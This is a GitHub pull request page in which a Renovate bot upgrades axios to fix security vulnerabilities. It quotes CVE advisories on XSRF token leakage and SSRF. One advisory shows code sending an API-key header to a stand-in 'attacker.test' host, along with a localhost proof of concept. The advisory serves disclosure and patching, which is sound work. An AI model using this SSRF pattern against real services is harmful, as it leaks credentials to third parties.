Skip to content

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Apr 9, 2025

This PR contains the following updates:

Package Change Age Confidence
axios (source) ^0.28.0 -> ^0.30.0 age confidence

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-27152

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Release Notes

axios/axios (axios)

v0.30.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes
Contributors to this release

Configuration

📅 Schedule: Branch creation - "" in timezone America/New_York, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) April 9, 2025 13:57
Copy link

codecov bot commented Apr 9, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 100.00%. Comparing base (f438360) to head (dae84c7).

Additional details and impacted files
@@            Coverage Diff            @@
##            master      #407   +/-   ##
=========================================
  Coverage   100.00%   100.00%           
=========================================
  Files          107       107           
  Lines         1086      1086           
  Branches       159       160    +1     
=========================================
  Hits          1086      1086           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 4321e31 to aca4089 Compare April 16, 2025 12:41
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 3fbd8be to 44d2dd0 Compare April 24, 2025 16:36
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 44d2dd0 to f07fff4 Compare May 19, 2025 21:00
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from f07fff4 to 0bb4d0e Compare June 2, 2025 18:10
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from 2cb3a05 to 63114d1 Compare June 13, 2025 11:32
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 63114d1 to fbba882 Compare June 18, 2025 20:05
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from fbba882 to c575ad7 Compare July 31, 2025 20:10
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from b905e2f to f514716 Compare August 14, 2025 14:49
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from f514716 to 1fb32a7 Compare August 22, 2025 16:25
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 9 times, most recently from 92f5681 to 97bf958 Compare September 5, 2025 17:34
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 97bf958 to 398d335 Compare September 12, 2025 21:14
@renovate renovate bot changed the title fix(deps): update dependency axios to ^0.30.0 [security] fix(deps): update dependency axios to v1 [security] Sep 12, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from c2e9732 to dae84c7 Compare September 24, 2025 13:15
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch 3 times, most recently from c0bc3c5 to 4b52fab Compare September 29, 2025 22:06
@renovate renovate bot changed the title fix(deps): update dependency axios to v1 [security] fix(deps): update dependency axios to ^0.30.0 [security] Sep 29, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4b52fab to 37c3217 Compare October 2, 2025 17:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants